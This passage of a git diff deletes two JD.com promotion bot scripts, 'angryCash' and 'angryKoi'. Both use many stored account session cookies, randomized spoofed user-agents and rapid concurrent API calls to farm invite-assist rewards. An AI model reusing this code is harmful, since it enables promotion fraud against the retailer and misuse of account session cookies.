Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar - } - } catch (t) { - this.logErr(t) - } - }).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - })) - } - post(t, e = (() => {})) { - if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.post(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - }); - else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t)); - else if (this.isNode()) { - this.initGotEnv(t); - const { - url: s, - ...i - } = t; - this.got.post(s, i).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - }) - } - } - time(t, e = null) { - const s = e ? new Date(e) : new Date; - let i = { - "M+": s.getMonth() + 1, - "d+": s.getDate(), - "H+": s.getHours(), - "m+": s.getMinutes(), - "s+": s.getSeconds(), - "q+": Math.floor((s.getMonth() + 3) / 3), - S: s.getMilliseconds() - }; - /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); - for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); - return t - } - msg(e = t, s = "", i = "", r) { - const o = t => { - if (!t) return t; - if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { - "open-url": t - } : this.isSurge() ? { - url: t - } : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], - s = t.mediaUrl || t["media-url"]; - return { - openUrl: e, - mediaUrl: s - } - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, - s = t["media-url"] || t.mediaUrl; - return { - "open-url": e, - "media-url": s - } - } - if (this.isSurge()) { - let e = t.url || t.openUrl || t["open-url"]; - return { - url: e - } - } - } - }; - if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) - } - } - log(...t) { - t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) - } - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - wait(t) { - return new Promise(e => setTimeout(e, t)) - } - done(t = {}) { - const e = (new Date).getTime(), - s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - }(t, e) -} \ No newline at end of file diff --git a/backUp/jd_angryCash.js b/backUp/jd_angryCash.js deleted file mode 100644 index a22c412..0000000 --- a/backUp/jd_angryCash.js +++ /dev/null @@ -1,508 +0,0 @@ -/* -愤怒的现金 -更新时间:2021-7-13 -备注:极速助力,打击黑产盗取现金的犯罪行为。默认向前助力9个账号,若要指定被助力账号,需cashHelpPins环境变量中填入需要助力的pt_pin,有多个请用@符号连接。 -0 0 * * * https://raw.githubusercontent.com/cdle/jd_study/main/jd_angryCash.js -*/ -const $ = new Env("愤怒的现金") -const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random()*4+10)}.${Math.ceil(Math.random()*4)};${randomString(40)}` -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -let cookiesArr = [] -var pins = process.env.cashHelpPins ?? "" -var helps = []; -var tools = []; -!(async () => { - await requireConfig() - len = cookiesArr.length - if(!pins){ - console.log("未设置环境变量cashHelpPins,默认助力前9个账号") - } - for (let i = 0; i < len; i++) { - cookie = cookiesArr[i]; - pin = cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] - if((!pins && i<9) || (pins && pins.indexOf(pin)!=-1)){ - data = await requestApi("cash_mob_home", cookie) - inviteCode = data?.data?.result?.inviteCode - if (inviteCode) { - shareDate = data?.data?.result?.shareDate - helps.push({inviteCode: inviteCode, key: i}) - tools.push({success: 0, shareDate:"", cookie: cookie, key: i, shareDate: shareDate}) - } - } else { - tools.push({success: 0, shareDate:"", cookie: cookie, key: i}) - } - } - while(tools.length>0 && helps.length>0) { - var tool = tools.pop() - var cookie = tool.cookie - if(!tool.shareDate){ - requestApi("cash_mob_home", cookie, {}, tool).then(function(data){ - var tool = data.tool - if(data.code === undefined){ - tools.unshift(tool) - return - } - shareDate = data?.data?.result?.shareDate - if(!shareDate){ - return - } - tool.shareDate = shareDate - help(tool) - }) - }else{ - help(tool) - } - await $.wait(20) - } - await $.wait(10000) - -})().catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') -}).finally(() => { - $.done(); -}) - -function help(tool){ - var cookie = tool.cookie - var inviteCode = helps[0].inviteCode - var key = helps[0].key - requestApi("cash_mob_assist", cookie, { - source: 3, - inviteCode: inviteCode, - shareDate: tool.shareDate - }).then(function(data){ - console.log(`${tool.key+1}->${key+1}`,data?.data?.bizMsg) - switch (data?.data?.bizCode) { - case 0: //助力成功 - tool.success++ - break; - case 210: //您无法为自己助力哦~ - if(tools.length==0){ - console.log("跳出循环") - tool.success = 3 - } - break; - case 188: //活动太火爆啦\n看看其他活动吧~' - tool.success = 3 - break - case 206: //今日已为Ta助力过啦~ - break; - case 207: //啊哦~今日助力次数用完啦 - tool.success = 3 - break - case 208: //您来晚啦,您的好友已经领到全部奖励了 - if(helps[0]?.inviteCode==inviteCode)helps.shift() - break; - case 106: //你点击的太快啦\n请稍后尝试~ - break; - default: - console.log("异常", data) - tool.success = 3 - break; - } - if(tool.success<3){ - tools.unshift(tool) - } - }) -} - -function requestApi(functionId, cookie, body = {}, tool) { - return new Promise(resolve => { - $.post({ - url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&appid=CashRewardMiniH5Env&appid=9.1.0`, - headers: { - 'Cookie': cookie, - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'Accept-Encoding': 'gzip, deflate, br', - 'User-Agent': ua, - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Host': 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', - }, - }, (_, resp, data) => { - try { - data = JSON.parse(data) - } catch (e) { - $.logErr('Error: ', e, resp) - } finally { - if(tool){ - data.tool = tool - } - resolve(data) - } - }) - }) -} - -function requireConfig() { - return new Promise(resolve => { - notify = $.isNode() ? require('./sendNotify') : ''; - const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - if (jdCookieNode[item]) { - cookiesArr.push(jdCookieNode[item]) - } - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - } else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); - } - console.log(`共${cookiesArr.length}个京东账号\n`) - resolve() - }) -} - -function randomString(e) { - e = e || 32; - let t = "abcdefhijkmnprstwxyz2345678", - a = t.length, - n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function Env(t, e) { - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GIT_HUB") > -1 && process.exit(0); - class s { - constructor(t) { - this.env = t - } - send(t, e = "GET") { - t = "string" == typeof t ? { - url: t - } : t; - let s = this.get; - return "POST" === e && (s = this.post), new Promise((e, i) => { - s.call(this, t, (t, s, r) => { - t ? i(t) : e(s) - }) - }) - } - get(t) { - return this.send.call(this.env, t) - } - post(t) { - return this.send.call(this.env, t, "POST") - } - } - return new class { - constructor(t, e) { - this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) - } - isNode() { - return "undefined" != typeof module && !!module.exports - } - isQuanX() { - return "undefined" != typeof $task - } - isSurge() { - return "undefined" != typeof $httpClient && "undefined" == typeof $loon - } - isLoon() { - return "undefined" != typeof $loon - } - toObj(t, e = null) { - try { - return JSON.parse(t) - } catch (e) { - return e - } - } - toStr(t, e = null) { - try { - return JSON.stringify(t) - } catch (e) { - return e - } - } - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) try { - s = JSON.parse(this.getdata(t)) - } catch {} - return s - } - setjson(t, e) { - try { - return this.setdata(JSON.stringify(t), e) - } catch { - return !1 - } - } - getScript(t) { - return new Promise(e => { - this.get({ - url: t - }, (t, s, i) => e(i)) - }) - } - runScript(t, e) { - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; - const [o, h] = i.split("@"), n = { - url: `http://${h}/v1/scripting/evaluate`, - body: { - script_text: t, - mock_type: "cron", - timeout: r - }, - headers: { - "X-Key": o, - Accept: "*/*" - } - }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - loaddata() { - if (!this.isNode()) return {}; { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e); - if (!s && !i) return {}; { - const i = s ? t : e; - try { - return JSON.parse(this.fs.readFileSync(i)) - } catch (t) { - return {} - } - } - } - } - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e), - r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) - if (r = Object(r)[t], void 0 === r) return s; - return r - } - lodash_set(t, e, s) { - return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) - } - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; - if (r) try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch (t) { - e = "" - } - } - return e - } - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) - } - } else s = this.setval(t, e); - return s - } - getval(t) { - return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null - } - setval(t, e) { - return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null - } - initGotEnv(t) { - this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) - } - get(t, e = (() => {})) { - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.get(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar - } - } catch (t) { - this.logErr(t) - } - }).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - })) - } - post(t, e = (() => {})) { - if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.post(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - }); - else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t)); - else if (this.isNode()) { - this.initGotEnv(t); - const { - url: s, - ...i - } = t; - this.got.post(s, i).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - }) - } - } - time(t, e = null) { - const s = e ? new Date(e) : new Date; - let i = { - "M+": s.getMonth() + 1, - "d+": s.getDate(), - "H+": s.getHours(), - "m+": s.getMinutes(), - "s+": s.getSeconds(), - "q+": Math.floor((s.getMonth() + 3) / 3), - S: s.getMilliseconds() - }; - /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); - for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); - return t - } - msg(e = t, s = "", i = "", r) { - const o = t => { - if (!t) return t; - if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { - "open-url": t - } : this.isSurge() ? { - url: t - } : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], - s = t.mediaUrl || t["media-url"]; - return { - openUrl: e, - mediaUrl: s - } - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, - s = t["media-url"] || t.mediaUrl; - return { - "open-url": e, - "media-url": s - } - } - if (this.isSurge()) { - let e = t.url || t.openUrl || t["open-url"]; - return { - url: e - } - } - } - }; - if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) - } - } - log(...t) { - t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) - } - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - wait(t) { - return new Promise(e => setTimeout(e, t)) - } - done(t = {}) { - const e = (new Date).getTime(), - s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s-10} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - }(t, e) -} \ No newline at end of file diff --git a/backUp/jd_angryKoi.js b/backUp/jd_angryKoi.js deleted file mode 100644 index 85768f5..0000000 --- a/backUp/jd_angryKoi.js +++ /dev/null @@ -1,474 +0,0 @@ -/* -愤怒的锦鲤 -更新时间:2021-7-11 -备注:高速并发请求,专治偷助力。在kois环境变量中填入需要助力的pt_pin,有多个请用@符号连接 -TG学习交流群:https://t.me/cdles -5 0 * * * https://raw.githubusercontent.com/cdle/jd_study/main/jd_angryKoi.js -*/ -const $ = new Env("愤怒的锦鲤") -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random()*4+10)}.${Math.ceil(Math.random()*4)};${randomString(40)}` -var kois = process.env.kois ?? "" -let cookiesArr = [] -var helps = []; -var tools= [] -!(async () => { - if(!kois){ - console.log("请在环境变量中填写需要助力的账号") - } - requireConfig() - for (let i in cookiesArr) { - cookie = cookiesArr[i] - if(kois.indexOf(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])!=-1){ - var data = await requestApi('h5launch',cookie); - switch (data?.data?.result?.status) { - case 1://火爆 - continue; - case 2://已经发起过 - break; - default: - if(data?.data?.result?.redPacketId){ - helps.push({redPacketId: data.data.result.redPacketId, success: false, id: i, cookie: cookie}) - } - continue; - } - data = await requestApi('h5activityIndex',cookie); - switch (data?.data?.code) { - case 20002://已达拆红包数量限制 - break; - case 10002://活动正在进行,火爆号 - break; - case 20001://红包活动正在进行,可拆 - helps.push({redPacketId: data.data.result.redpacketInfo.id, success: false, id: i, cookie: cookie}) - break; - default: - break; - } - } - tools.push({id: i, cookie: cookie}) - } - for(let help of helps){ - open(help) - } - await $.wait(60000) -})() .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -function open(help){ - var tool = tools.pop() - if(!tool)return - if(help.success)return - requestApi('jinli_h5assist', tool.cookie, { - "redPacketId": help.redPacketId - }).then(function(data){ - desc = data?.data?.result?.statusDesc - if (desc && desc.indexOf("助力已满") != -1) { - tools.unshift(tool) - help.success=true - } else if (!data) { - tools.unshift(tool) - } - console.log(`${tool.id}->${help.id}`, desc) - open(help) - }) -} - -function requestApi(functionId, cookie, body = {}) { - return new Promise(resolve => { - $.post({ - url: `${JD_API_HOST}/api?appid=jd_mp_h5&functionId=${functionId}&loginType=2&client=jd_mp_h5&clientVersion=10.0.5&osVersion=AndroidOS&d_brand=Xiaomi&d_model=Xiaomi`, - headers: { - "Cookie": cookie, - "origin": "https://h5.m.jd.com", - "referer": "https://h5.m.jd.com/babelDiy/Zeus/2NUvze9e1uWf4amBhe1AV6ynmSuH/index.html", - 'Content-Type': 'application/x-www-form-urlencoded', - "X-Requested-With": "com.jingdong.app.mall", - "User-Agent": ua, - }, - body: `body=${escape(JSON.stringify(body))}`, - }, (_, resp, data) => { - try { - data = JSON.parse(data) - } catch (e) { - $.logErr('Error: ', e, resp) - } finally { - resolve(data) - } - }) - }) -} - -function requireConfig() { - return new Promise(resolve => { - notify = $.isNode() ? require('./sendNotify') : ''; - const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - if (jdCookieNode[item]) { - cookiesArr.push(jdCookieNode[item]) - } - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; - } else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); - } - console.log(`共${cookiesArr.length}个京东账号\n`) - resolve() - }) -} - -function randomString(e) { - e = e || 32; - let t = "abcdefhijkmnprstwxyz2345678", - a = t.length, - n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function Env(t, e) { - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GIT_HUB") > -1 && process.exit(0); - class s { - constructor(t) { - this.env = t - } - send(t, e = "GET") { - t = "string" == typeof t ? { - url: t - } : t; - let s = this.get; - return "POST" === e && (s = this.post), new Promise((e, i) => { - s.call(this, t, (t, s, r) => { - t ? i(t) : e(s) - }) - }) - } - get(t) { - return this.send.call(this.env, t) - } - post(t) { - return this.send.call(this.env, t, "POST") - } - } - return new class { - constructor(t, e) { - this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) - } - isNode() { - return "undefined" != typeof module && !!module.exports - } - isQuanX() { - return "undefined" != typeof $task - } - isSurge() { - return "undefined" != typeof $httpClient && "undefined" == typeof $loon - } - isLoon() { - return "undefined" != typeof $loon - } - toObj(t, e = null) { - try { - return JSON.parse(t) - } catch (e) { - return e - } - } - toStr(t, e = null) { - try { - return JSON.stringify(t) - } catch (e) { - return e - } - } - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) try { - s = JSON.parse(this.getdata(t)) - } catch {} - return s - } - setjson(t, e) { - try { - return this.setdata(JSON.stringify(t), e) - } catch { - return !1 - } - } - getScript(t) { - return new Promise(e => { - this.get({ - url: t - }, (t, s, i) => e(i)) - }) - } - runScript(t, e) { - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; - const [o, h] = i.split("@"), n = { - url: `http://${h}/v1/scripting/evaluate`, - body: { - script_text: t, - mock_type: "cron", - timeout: r - }, - headers: { - "X-Key": o, - Accept: "*/*" - } - }; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - loaddata() { - if (!this.isNode()) return {}; { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e); - if (!s && !i) return {}; { - const i = s ? t : e; - try { - return JSON.parse(this.fs.readFileSync(i)) - } catch (t) { - return {} - } - } - } - } - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - e = this.path.resolve(process.cwd(), this.dataFile), - s = this.fs.existsSync(t), - i = !s && this.fs.existsSync(e), - r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) - if (r = Object(r)[t], void 0 === r) return s; - return r - } - lodash_set(t, e, s) { - return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) - } - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; - if (r) try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch (t) { - e = "" - } - } - return e - } - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) - } - } else s = this.setval(t, e); - return s - } - getval(t) { - return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null - } - setval(t, e) { - return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null - } - initGotEnv(t) { - this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) - } - get(t, e = (() => {})) { - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.get(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar - } - } catch (t) { - this.logErr(t) - } - }).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - })) - } - post(t, e = (() => {})) { - if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { - "X-Surge-Skip-Scripting": !1 - })), $httpClient.post(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - }); - else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { - hints: !1 - })), $task.fetch(t).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => e(t)); - else if (this.isNode()) { - this.initGotEnv(t); - const { - url: s, - ...i - } = t; - this.got.post(s, i).then(t => { - const { - statusCode: s, - statusCode: i, - headers: r, - body: o - } = t; - e(null, { - status: s, - statusCode: i, - headers: r, - body: o - }, o) - }, t => { - const { - message: s, - response: i - } = t; - e(s, i, i && i.body) - }) - } - } - time(t, e = null) { - const s = e ? new Date(e) : new Date; - let i = { - "M+": s.getMonth() + 1, - "d+": s.getDate(), - "H+": s.getHours(), - "m+": s.getMinutes(), - "s+": s.getSeconds(), - "q+": Math.floor((s.getMonth() + 3) / 3), - S: s.getMilliseconds() - }; - /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); - for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); - return t - } - msg(e = t, s = "", i = "", r) { - const o = t => { - if (!t) return t; - if ("string" == typeof t) return this.isLoon() ? t : 